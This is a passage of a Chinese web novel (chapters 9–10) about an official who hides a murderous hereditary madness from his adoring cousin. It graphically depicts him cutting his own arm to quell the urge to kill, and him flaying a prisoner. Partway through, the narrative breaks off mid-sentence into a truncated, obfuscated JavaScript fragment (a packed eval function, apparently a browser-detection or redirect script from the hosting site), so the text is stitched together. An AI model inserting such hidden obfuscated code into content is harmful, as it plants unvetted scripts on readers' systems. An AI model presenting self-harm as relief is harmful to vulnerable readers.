“窈窈,是兄长的错,是兄长自小没有同你保持兄妹之间的距离,让你太过依赖我这个兄长。” “你已到了出嫁的年纪,你的亲事,兄长会安排好,兄长会为你找京城里最好的儿郎,兄长会为你准备嫁妆,办一个风风光光的婚礼。” “从今以后,兄长会帮你戒断不该有的依赖。” “若有下次,苏窈窈,你不再是我谢怀凛的妹妹。” “戒断?” 苏窈窈好似是不太懂她兄长说的这两个字是什么意思,不再是他谢怀凛的妹妹又是什么意思…… 她仰起失了颜色的脸,难以置信地看着自己兄长,哽咽地问: “哥哥,你在说什么?” 9. 第 9 章 这是他的妹妹,他谢怀凛的妹妹。 谢怀凛拿来一条干净的帕子,一手托着妹妹的下巴,一手轻柔捏着妹妹的鼻子,给她擤鼻涕。 这种动作许是在他们兄妹之间太过正常,苏窈窈习惯地配合,一时之间都忘了哭,打了声嗝后擤鼻涕,乖乖地抬脸看着她哥哥,等哥哥给她擦干净后,苏窈窈又开始哭了。 她哭得全身都在发抖,抖得脑袋都昏昏沉沉的,一直在想她哥哥说的那话是什么意思。 保持距离? 戒断? 哥哥不要她了吗? 这几个字轰的一下在她脑子里炸开,苏窈窈更晕了,只觉得脑子里都塞满了浆糊棉花。 她都还没有引诱,哥哥都还没对她产生男女之间的欲望,就不把她当妹妹了…… 苏窈窈一副天塌了的痴痴样子,眼泪毫无知觉地流,脸颊这里垂下的长发都要被眼泪糊成结了。 在她心里,她和兄长亲密得就如同骨和肉的关系,怎么可能分开呢。 打断骨头还连着筋呢。 苏窈窈完全没有想过分开这件事,自然也不知道分开后该怎么办。 苏窈窈抬头看着她兄长,她眨了下眼睛,睫毛上的泪珠啪嗒一下砸了下来。 谢怀凛阖眼,剑眉微微颤动,小孩可怜的哭声忽地盘旋耳边,他骤然抬眼,是少女满是泪痕的脸。 娇艳成了苍白,生机渐渐消弭。 她生病了,受伤了。 因为他这个哥哥。 又是因为他这个哥哥。 “窈窈,以后,不要,不要为了兄长伤害自己。”谢怀凛微微倾下身,看去青竹锦袍一尘不染,神情端肃雅然,但他背在身后的手却紧握成拳,手背青筋凸起,似要爆开一般,开始有血液充斥其中。 表面却风平浪静。 “兄长在刑部有案子要查,以后不会经常回府,你若无趣,可以去寻萧嘉宁,也可以去寻书院的人,去游湖,去看戏喝酒逛铺子,银钱你可去账房随意支取,兄长会安排好。” “兄长以后不会干涉你,不会管你何时吃饭何时睡觉,不管你是否会夜里淋雨。” “兄长不会再进你的屋子,你若有事寻兄长,可来书房。” 言外之意便是,她不能再去他的卧室。 苏窈窈蓦地睁大眼睛。 “兄长只是兄长,是你的表兄。” “你是我的表妹,苏窈窈。” 这句话似是在告诉她,她不过是表妹,仅此而已。 她越界了。 苏窈窈不知道事情怎么就变成这样了,她不过是淋了个雨而已。 她好了呀。 她好了…… 苏窈窈还不知道,她触碰到了她兄长的禁忌。 她做了一件足以让她兄长发疯的事。 她以为是小事。 “你的亲事不用担心,兄长会为你寻,兄长会替你挑选夫君。” 本来就难受,苏窈窈听到这句话,哇的一声,哭得是更厉害了,话都说不出来。 眼泪当真是珍珠落玉盘,哐当哐当往下砸。 妹妹的眼泪。 谢怀凛垂眼,他似是有些呆滞了,漆黑的眼瞳空得像不见底的深渊,他微微倾下身,抬手轻轻抹去她眼尾溢出的眼泪。 眼泪的潮湿在指尖晕开,这种触感似乎通过指尖,以一种诡异的,让人血液沸腾的感觉传遍四肢百骸。 谢怀凛垂着的长睫缓缓颤着,他盯着指尖的水光,盯着他妹妹的眼泪,漆黑夜里互相依偎的两个小孩一闪而过。 然后,他鬼使神差地抬起手,把指尖放在了唇边,鲜红的舌若隐若现。 他似乎想要……舔去这眼泪。 “哥哥,你不要不理我……” 妹妹呜咽的声音落在耳边,谢怀凛脊背一震,浑身如被业火烧灼,衣袍上的青竹也被烧成了灰。 他如梦初醒,垂下手后看向自己的妹妹,将她拽着自己自己衣袖的手一点点掰开,然后,转身离开。 —— 兄长走了。 和她说……兄长只是兄长后,和她说,他不会再干涉她,会为她寻一个如意郎君后,走了。 苏窈窈拽着她兄长衣袖的手,第一次被拂开。 在谢怀凛走后,苏窈窈水灵灵的杏子眼干涸了一般,空洞而呆滞地盯着一个地方看,直到小丫鬟进来,着急忙慌地替她盖上被子后,苏窈窈眨眨眼,眼泪无声而落。 她行尸走肉一般,根本听不到小丫鬟和她说了什么,她机械机械地喝药,机械地吃饭,然后蜷缩在被子里,一直想着她兄长,想得眼泪汪汪,心脏也隐隐作痛。 她没有接受,也不想接受兄长和她说的那些话。 是什么意思呢。 她苏窈窈不知道。 她只知道,她和兄长是分不开的,她连一天不见他就会难受得厉害,兄长的怀抱对她而言,就像雏鸟对母亲的依恋,她怎么可能离的开呢。 她会死掉的吧。 不管谢怀凛承不承认,他对苏窈窈那些密不透风,无微不至,侵入她周围每一寸空气的照顾,让苏窈窈心里和生理都不得不依赖他,已经到了一种不能自理的地步。 她的衣裳,兄长会为她挑选,当下时兴的各种发簪胭脂首饰,兄长也会给她买好,兄长日日回来,都会喂她吃饭,打雷了她害怕,也只管往他的怀里钻。 她哭了都不用擦眼泪擦鼻涕,兄长会把她的一切照料好。 若是让她戒断,无异于剥皮拆骨。 苏窈窈怕疼,她定然是不愿意的。 而且……她还抱着那种要“勾引”兄长喜欢她,把兄妹之情变成男女之情的希望。 她想一辈子都和兄长在一起。 所以,就如同小时候那次一样,这回,她也刻意忽略了一些事实。 她不想承认的事实。 因为,她实在是太喜欢她兄长了…… 一想到兄长要她戒断,不理她,苏窈窈甚至觉得自己心脏绞痛,难受得就要死了。 兄长不可能对她这么绝情的…… 她不相信兄长会这么对她。 那种两人之间刻骨的牵连怎么可能断得开呢…… 若是要活生生剥离下来,必定是连筋带血的。 他不是她的哥哥吗。 他不是对她说过,他会护着她一辈子, 苏窈窈哭得脑袋都发昏了,她反复地想着兄长对她说的那些话,脑子里又时不时会闪过小时候的画面。 兄长看起来不对劲,要是当真病发了怎么办? 她还是得去看看兄长。 苏窈窈担心她兄长,也压根没把谢怀凛 她想,他不理她,她就撒撒娇好了。 她大度得很呢,兄长闹脾气,她就哄哄他好了,不跟他一般见识。 她是好妹妹。 —— 病发,谢怀凛已经分不清现实和虚妄了。 一会是妹妹,是他妹妹盈满眼泪的眼睛,一会是她满脸是血,僵硬躺在地上的画面。 鲜红的血不停地,不停地从她头上的窟窿汩汩流出,地面上的鲜血汇成了一条小溪,流向他。 她别过头看着他,朝他伸出了满是鲜血的小手: “哥哥,哥哥,我害怕……” “救救窈窈,救救窈窈好不好……” “哥哥,窈窈好疼啊……” “哥哥……” 她哭着喊他哥哥,哭着求他救救她,她的脸上全是血,血顺着脸颊往下流,又绕着她脖子,像极了要绞断她脖子的红线,小小的身体如一尾搁浅的鱼,动弹了两下又弓起。 旁边一个疯疯癫癫,披头散发的女人在笑,她笑着举起手中沾了血的长凳,就要朝地上的小女孩再度砸下去。 谢怀凛瞳孔急遽收缩,他喘/息粗/重,那张清冷如玉的脸染上红色,有一种非常病态的艳丽感,一瞬之间,为了保护他的妹妹,血液里那种隐匿的,杀戮和暴虐的欲望被彻底激开,沸腾起来。 他被杀戮的快感支配,他想杀人,他要捅开那人的喉咙,也要砸开那人的脑袋。 尽管她也是是个疯子,他身上流着她的血。 不。 在这世上,只有妹妹和他流着一样的血。 他和她,才是真正的骨血相融,相依为命。 谢怀凛的眸色彻底冷了下来,他拿起了匕首,在刀刃将要划破那女人脖子的一刻,忽然之间嘎吱一声,窗户被吹开一角,有风透了进来。 画面如烟似雾,被风一吹,一瞬消散。 谢怀凛双眸空洞。 很久之后,他迟缓地笑了声,曲起长腿坐在墙角,一只手搭在膝盖上。 男人腕骨清瘦,白得仿佛落了月光,而那手指骨节分明,修长如玉,宛如上好的瓷器玉石。 只是此时此刻,却有一把匕首勾在他指间。 谢怀凛长睫上的汗珠一滴滴落下,烛火摇晃间,那些画面也随之而逝。 躺在血泊里的苏窈窈没有了,她没有一声声地喊着哥哥,说她好疼,那疯女人也消失不见。 那不过是幻觉。 是幻觉。 真的是幻觉吗。 “哈哈哈哈……” 谢怀凛仰着脖子大笑了起来,脖颈这里的青筋忽然暴开。 妹妹是真的,真的差点就死了啊…… 因为他,她差点就死了。 他就是个祸害。 为什么他还要靠近她…… 为什么要让她离不开自己,依赖自己…… 为什么没有保持兄妹间该有的距离。 他和她,是兄妹,仅此而已。 既是兄妹,既然她长大了,便不能如此亲密,规矩礼法,伦理纲常,他和她都得遵守。 这才是兄妹该有的样子。 每当这副画面浮现,谢怀凛便会被刺激得彻底病发。 他迫切地想要感受那种用刀刃割开皮肉,想要感受那种割开脖子,血管迸出鲜血,鲜血四溅的……快/感 他认为是快/感。 这会让他很愉悦,很兴奋。 此时此刻,他的血液仍然在沸腾着,他的仍然被杀戮的欲望占据, 他极度的,极度的想要体验那种杀戮的快感。 以往那双清冷如雪的眸子已然猩红,他齿关紧咬,有鲜血缓缓自唇边溢出,黑瞳成了血瞳,他勾着唇似乎在笑,在兴奋,又似乎有欲望没有得到缓解的痛苦,那张脸病态更甚,艳丽也更甚。 平日示于人前的光风霁月,温润如玉是半点也没有,仿佛真成了杀戮成瘾,暴虐成性的疯子,恶魔。 这就是谢怀凛血液里所流动着的,肮脏的东西。 但是…… 谢怀凛脑袋靠着冰冷的墙壁,他想起了他妹妹,苏窈窈。 他轻轻地笑了声,闭上眼,片刻猛然睁眼后,手中的匕首折射出一道雪亮的光,掠过他眼瞳。 随即,先是皮肉被划开的微弱刺啦声,很快是刀刃猛地扎入血肉里的噗嗤声。 鲜血四溅,一道纵深的,血肉模糊的伤口出现在他手臂。 鲜红的血一滴滴落下,不一会,便汇聚成了一个血泊。 疼痛压下了那些暴虐的欲望,杀人和杀自己,也并无不同。 暴动的,沸腾的血液似乎在慢慢平静下来。 谢怀凛抬起湿淋淋的眼,看向方才那幻觉之处,浑身是血的妹妹和高烧昏迷的妹妹在不断的重叠着。 噗嗤,他面无表情,又往自己手臂划了一刀,直到杀戮的欲望彻底被压下。 他的确有疯病,谢府的人说的没错,他的确是那个疯女人生下的疯孩子。 小时候他不明白,为何自己看到一些弱小的动物,不会有任何的怜惜之情,别的小孩子会想养来当宠物,但他却莫名地想捏碎它们。 待长大一些,谢怀凛会不自觉盯着别人的脖子看,看着脖子那里的脉络,看着那些吞咽着的喉咙,他却想割开脖子,看血管迸出鲜血。 谢怀凛才知道,原来,他也是个疯子。 疯女人生出的疯小孩。 谢怀凛自己也觉得,他们都说的没错。 只有她不觉得。 只有她这个妹妹不觉得。 谢怀凛那时候也是个小孩,第一次看到这个妹妹时,她正和那群小孩打完架,明明眼睛都红了,灰头土脸的,还要叉着腰装出赢了的气势来,不肯退让半点。 场面僵持着,直到他来,那群小孩骂了他两句,一溜烟全都跑了。 小小的苏窈窈看到了他,知道他是自己的表兄。她看到那群小孩跑了,似乎害怕他的样子,很自然地就把他划到了自己阵营。 她看到他就笑,笑得眉眼弯弯的,脏兮兮的小手拽着他白净的衣袖,抬头问他,可不可以喊他哥哥。 很奇怪的,她也是那么的弱小,像一只脆弱的小猫,但他低下头看着她,却没有那种强烈的,暴虐的欲望。 他不想捏碎她。 这是他看到她的第一个念头。 所以,很久以后,他点了点头,给了她一块糕点。 她似乎很开心,接过糕点后一口咬下,开心地都要蹦起来了,哥哥哥哥地喊他,一张雪白小脸红扑扑的,还不忘朝他再要了一块桂花糕。 她说,很好吃。 这桂 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苏窈窈毕竟姓苏不姓谢,刚开始还有点担心,怕别人同外祖母告状,会让外祖母不喜欢她,但谢怀凛同她说,让她不要担心,有哥哥在。 苏窈窈一下眼睛晶亮,重重地点头。 从这以后,府里的那些公子小姐没一个能欺负她了,就算她打了他们也没事。 苏窈窈知道都是兄长摆平的,却不知道她兄长是如何摆平的。 在谢怀凛的眼里,他的这个妹妹柔弱又胆小,娇气又怕疼,他冷着脸看她都会害怕,害怕得眼睛都是红的,却还是怯怯地抓着他衣角,用奶声奶气的声音喊他哥哥,问他能不能让她跟在后面,她保证乖乖的,不会吵他读书。 她也乖乖的,和他一起读书。 只是,她说着要读书却坐不住,每次看不了几行字便会呼呼大睡,或是从房间的这处跑到那处,看花逗猫荡秋千去了。 她很喜欢小动物,每次看到有流浪的小猫小狗都会喂养,有一次,她看到一只雏鸟从鸟窝掉下摔死了,呆呆地蹲在地上,好久都不说话,一直在哭,直到谢怀凛来抱起她,她才回过神来,扑到她兄长怀里放声大哭起来。 谢怀凛想,千万不能,不能让妹妹发现他有疯病。 不能吓到她。 所以,自看到这个妹妹后,谢怀凛一直在隐藏,在压抑血液里流动的,暴虐欲望。 他是她温柔的兄长,如果不是发生了那件事,在她面前,他会一直都是她自小喜爱着的,温柔的哥哥。 而不是那个暴戾的,被欲望支配的怪物。 他知道的,她也害怕那样的他。 她只是装作不害怕罢了,她怕他这个哥哥伤心。 而此时此刻就在外面,苏窈窈病容未消,脸上还糊着眼泪,也顾不上仪容了,直接就要往她兄长的卧房里冲,是当即就把她兄长的话抛到耳后。 但苏窈窈连台阶都还没上,便被外面守着的侍从给拦了下来。 谢怀凛的侍从和他一样没有表情:“小姐,公子吩咐了,任何人都不能靠近他的卧房。” 苏窈窈震惊:“我是他妹妹!我担心兄长,你们让我进去!” 侍从继续面无表情:“尤其是您。” 苏窈窈小脸一下垮了,她泪雾未消的眼睛睁得更大了,失了颜色的唇瓣无声张合着,一时之间没有说出话来。 侍从很是忠心地转达了主人的吩咐:“公子还吩咐了,他最近公务繁忙,让您……不要打搅他,无事也不要去书房。” 一句又一句的话把苏窈窈砸得鼻子发酸眼冒金星,这下,她当真是被她兄长的话伤到了,倔强地忍着眼泪转过身。 ““不靠近就不靠近……我,一点都不想来呢。” “一点都不想!” 苏窈窈被伤了心,她转过身,打定主意就要走,才刚迈出两步又停了下来。 她抬头看向那未曾点灯的,透不出光亮的房间,咬了咬嘴唇,用足够传到里面的声音说: “哥哥,窈窈来了,窈窈知道错了,……” “我再也不会在外面淋雨了,也不会骗你了……” “你让我进去好不好,我很担心你……” “哥哥,我知道你说的话不是真的,对不对……” “哥哥,我知道我做错了,你别不理我,别这样对我……” “我真的很想……很想见你,哥哥……” 她一声声地喊着他哥哥,就同小时候一般。 屋子里面,男人轻轻地笑了声。 天色已经黑了下来,妹妹的话随风飘进,在昏暗冰冷的房间里盘旋着,落在他耳边。 妹妹身上的香气也缭绕进来,混着血腥气,盈满他鼻息。 谢怀凛仰头靠着墙壁,突出的喉结急遽地耸动着。 他闭上眼都能想到她那副气鼓鼓的,红着眼睛抹眼泪的样子。 “窈窈,兄妹就要有兄妹的样子。” 谢怀凛哑着声音说。 他的妹妹在外面,担心他。 她说她错了,但谢怀凛也知道,她根本就不会知道问题出在哪里。 这不是她错了。 是他这个兄长错了。 或者,他这种肮脏的怪物,一开始就不该靠近他这个妹妹。 死。 他会害死她的吧。 哈哈哈…… 谢怀凛阖了阖眼,妹妹哭泣的脸,妹妹高烧的模样,还有妹妹…… 不知为何,画面交错间,少女攀上他腰背的手,那挤压在他胸膛前的刺目的柔软……万千神佛鬼怪又扑面而来。 他脑袋似被生生劈成两半,谢怀凛猛地抬起眼,那些光怪陆离的画面又消散,恍如梦境。 一闪而过。 谢怀凛无奈地想,他的妹妹的确长大了。 戒断她对他这种兄长不正常的依赖,兄友妹恭,这才是他和她该有的兄妹关系。 作为她的兄长,他要把把所有的路都给他妹妹铺好。 给她准备好嫁妆,给她找一个如意郎君,让她安安稳稳,平安喜乐地过完这一生。 “谢氏……宋家……案子。” 谢怀凛忽然又想起谢父那日说的话,眼中漆黑如墨,极冷极沉。 很久后去,外面彻底没了声音,少女身上的香气也随之消散之时,哐当一声,匕首被扔在一片血泊之中。 谢怀凛站起,把伤口包扎处理好,出了房间,血腥气蔓延开来 侍从进去收拾,看到满地鲜血竟也面色不变,仿佛习以为常一般,轻车熟路地收拾。 谢怀凛去了谢府偏院。 关着那个疯女人,也就是他母亲的地方。 10. 第 10 章 但谢怀凛去那偏院处,未曾进门看到他母亲,倒是先看到了他的妹妹,苏窈窈。 谢府偏院在谢府的最里面,因为常年荒废,无人打理,杂草飞长,几要将这庭院大门都遮蔽。 苏窈窈便是一个人蹲在杂草旁边,她下巴搁在膝盖上,以往桃花般粉嫩的脸颊在夜里却显得很是苍白,她轻轻咬着嘴唇,秀巧的鼻尖时不时地动一下,神情恹恹。 看起来很是伤心。 初春夜里还是冷的,寒气无声侵袭,更何况是在这偏僻阴森的庭院,苏窈窈那只笼着一层薄纱的肩头微微颤抖着,又忍不住打了声喷嚏。 整个小小的人儿都缩成一团,从谢怀凛站着的地方看,在门口挂着的昏暗灯笼下,小姑娘睫毛这里挂着的泪珠摇摇欲坠,两片唇瓣被咬得鲜红欲滴,看过去当真是又脆弱又可怜,让人恨不得把她怀里哄。 但谢怀凛看着,眸中神色愈来愈沉,几要盖过这漆黑夜色。 “苏窈窈。”男人薄冷的唇轻启,喊出的这几个字怕是比春寒还要冷。 蹲在地上的苏窈窈却眼睛一亮! 是兄长! 苏窈窈立马扔下了在地上划着圈圈的一根草杆子,她太开心了,甚至都没有听出谢怀凛这话声里冰冷的寒气。 因为,她实在是太想念她兄长了。 苏窈窈之所以深夜还来这里蹲守,全然是因为她想她兄长实在是想的受不了了…… 以前除却兄长去外地做官的两年,只要兄长在京城,她和兄长必定是每日都会见面。 就算她兄长有事缠身,就算他在宫里商议朝事,他也会百忙之中抽身回府见她一面,或者深夜着急回府。 他会给她做饭,喂她吃饭,给她净脸,替她擦手,还会给她唱歌谣哄她…… 而她在没等到兄长之前,也是断然睡不着的。 今日,苏窈窈去她兄长院子被拦了,本来很生气地回去,准备蒙着被子睡大觉,不管她兄长的。 但是,一蒙上被子,一闭上眼,脑海里都是她兄长。 待她一睁眼,四周确实空空荡荡,没有她兄长的半点影子。 甚至于,她都闻不到她兄长的气息。 苏窈窈心里忽然很空,像是被抽掉了一块,她简直要无法呼吸了。 她好想兄长,好想抱一抱兄长,也想扑到他胸前,闻一下她兄长身上的气息。 她兄长虽然身形修长如竹,但因为他常年练剑也拉弓,胸膛这里很是结实,都是鼓鼓的胸肌,很是会让人生出雏鸟回窝的依恋感。 似是苏窈窈每次用小脸埋在那里的时候,都会忍不住地想,兄长这里用手摸上去的触感如何呢。 只是这一回,还不待她色胆包天地幻想她兄长胸肌摸上去的手感,苏窈窈兴奋地跑到她兄长身前,两眼晶亮地想唤他一声兄长,却被他冷到生寒的脸色瞬间冻住。 这目光冷得像凝成了冰锥,霎那间就把苏窈窈的心口戳了一个洞。 小姑娘瞬间愣在原地,在她兄长咫尺之处。 她和他之间太过亲密了,这种亲密有时候坚不可摧,有时候也易碎如琉璃。 只需要这么一个眼神,便能瞬间摧毁。 从小到大,苏窈窈看过一身风雪气的兄长,看过风尘仆仆的兄长,也看过满眼疲惫的兄长,但就是没有看过对她这般冰冷的兄长。 “哥哥……” 苏窈窈无措地站在原地,这哥哥喊的声音是越来越低,清脆成了哽咽。 他却没有任何怜惜,当真如兄长那般训斥她:“兄长跟你说过的话,你忘了么?” “我……”苏窈窈都要委屈死了,她本来就受寒了,病愈没多久又晚上跑来这里蹲,蹲到了还没来得及开心,就被她哥哥一顿凶,哪还知道他到底说的什么。 “回答。”谢怀凛冷冷道。 此时此刻,就算苏窈窈想起来了之前兄长对她的告诫,也是委屈得不行,忍不住大哭出声。 “我,我就是太想你了啊!你对我这么凶做什么……” 苏窈窈哭得背都颤,那薄薄的脊背如蝶翼般轻盈,也如蝶翼般脆弱。 “我太想你了,你现在连卧房都不让我进,我根本就看不到你!” “看不到哥哥,我心里就好难受,觉也睡不着,我实在忍不住了,我想,兄长说不定会来这呢,那我就蹲在这里好了,没想到兄长真的来了。” “窈窈看到哥哥,很开心,可是,可是,哥哥为什么……” 面前的妹妹哭得好不可怜,呜咽着说了一大堆想他的话,若是从前,谢怀凛定会替她擦去眼泪,会任由她扑进他怀里,像小猫一样在他怀里乱蹭。 他会安慰她,会低下头在他妹妹耳边哄着。 他会任由她对她做所有的事。 果然是因为之前太亲密了么。 在面前的妹妹又习惯性地张开手,要往他怀里钻时,谢怀凛往后退了去。 苏窈窈抱了个空,愣在原地。 四周只有门前挂着的灯笼拓出一圈圈暗光,苏窈窈呆滞地仰起脸看她哥哥,只觉得她哥哥四周都是模糊的光晕。 她怎么都看不真切。 一定是梦吧。 这些日子一定是梦吧。 哥哥怎么可能这么对她呢。 怎么可能对她冷漠呢。 不可能的的。 她和他可是从小一起长大的,相依为命呢。 但谢怀凛的声音很快击碎了苏窈窈的幻想。 她兄长用着更冷漠,甚至还带了一丝严厉的口吻对她这个妹妹说:“记不记得,兄长以前跟你说过什么?” 谢怀凛说后背过了手,手臂上方才包扎好的伤口似乎又在爆开,开始流血。 苏窈窈其实记得。 她一直都记得,只是她太想见到她兄长了,脑子里就只有她兄长,便来了此处。 “我苏窈窈永远都不能靠近这里。” “重复。” 苏窈窈被他凶得鼻子一酸,抽抽噎噎地又重复了一遍:“我苏窈窈永远都不能靠近这里。” “苏窈窈,你答应过兄长。”谢怀凛没有靠近她,没有碰触她,也没有替她擦眼泪。 他这个兄长站在离她很远的地方,保持着兄妹之间该有的距离。 他以一个兄长的名义命令她:“回去。” 他如此道。 这两个字又沉又冷。 苏窈窈被他凶得都有些恍惚了,恍惚,这真的是那个宠她爱她的兄长吗。 她甚至都忘了哭,苍白的小脸上凌乱着泪痕,娇艳唇瓣似枯萎了般嗫嚅着,然后,她走了。 听话地回去了。 妹妹走了。 谢怀凛看着他妹妹消失,目色似乎如常,垂下的雪白衣袖却已然被血浸红。 看来,戒断的还不够。 就在此时,从庭院里传来一阵极为瘆人的,尖锐的笑声,紧接着便是一阵阵剧烈的捶打声,在夜里格外可怖。 “哈哈哈哈,你也是个疯子哈哈哈,谢氏传在了一个疯子手里,也是报应。” 谢怀凛盯着那扇破旧的,吱呀作响的木门,面无表情地说: “母亲,我永远都不会是。” “我和您,不一样。” 窈窈是他妹妹,他永远都不会对她下手。 他不会伤害她。 谢怀凛猛地攥紧手,鲜血汩汩流出。 —— 接下来的日子里,谢怀凛当真没有再见苏窈窈。 无论是早上苏窈窈强迫自己起了个大早,顶着惺忪的睡眼去门口堵她兄长上朝出门,还是晚上她硬撑着不睡觉,去她兄长的庭院等他回来,她都没有再见过她兄长。 苏窈窈不解,为什么她都已经起这么早,睡这么晚了,还是没有看到过兄长! 一连整整七天过去,苏窈窈居然一次都没见过谢怀凛。 后面,苏窈窈抓着谢怀凛院子里的侍从逼问,才知道,她兄长竟是以公事为由,直接住在了刑部府衙,这么多天都没有回府一次…… 苏窈窈只觉得天都塌了,当场如遭雷击,直接愣在原地。 谢怀凛没在府里,他院子里的侍从也就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他身上的白衣早已溅满鲜血,如玉清俊的脸上亦是溅上了点点鲜红,却更显得他姿容昳美,艳丽到了诡谲的地步。 他五指间正绕着一柄短刀,刀锋上竟是赤裸裸地挂着一张黏连着血肉的皮。 正是从那犯人身上割下。 “都说谢大人好生刚正,从不徇私枉法,若是你谢家也牵扯在内,谢大人当如何?” 阴冷的风自看不到尽头的甬道吹开, 两侧都是鬼哭狼嚎般的喊叫声,仿佛地狱里被油煎的恶鬼。 外面石壁上悬挂着的豆油灯忽明忽灭,光影交错间,谢怀凛不为所动,淡淡道:“依法查办。” “啊——”犯人仰着脖子惨叫,他看着面前一身白衣的人,端的是一派清风霁月,却好似恶鬼修罗。 惊恐之色终于在他眼里蔓延开来,犯人快要闭上的眼睛猛地睁大,一说话就吐出了一口血来。 “依法?谢大人私下审理已经封结的案子,是依据哪里的律法……” “有冤就该昭雪,漏洞百出的案子自当重审,律法如此。” 谢怀凛将刀和皮肉随意扔在一边,用帕子细致地擦拭着手上沾到的血,垂下了眼,神情不明。 “既然大人的嘴这么硬,那便……继续用刑。” 犯人痛叫不止,散下的头发被汗和血黏连着,只露出一双恐惧的眼睛看他。 “谢怀凛,你动用私刑审我,四大家族的人不会放过你!亏你还是谢氏的人!” “要是你父亲知晓你在重翻苏家旧案,你知会如何吗!” 谢怀凛勾了勾唇,脸上似乎又出现了平日里温润的笑。 他笑着说:“求之不得。” 谢怀凛在犯人的惨叫声中出了牢房。 他走到外面,光亮刺痛他的眼,他垂眼似是恍惚之时,立马有一差役迎了上来,恭敬又害怕地说; “大人,外面有一小丫头找您,说是谢府的人,说什么她家小姐出事了……”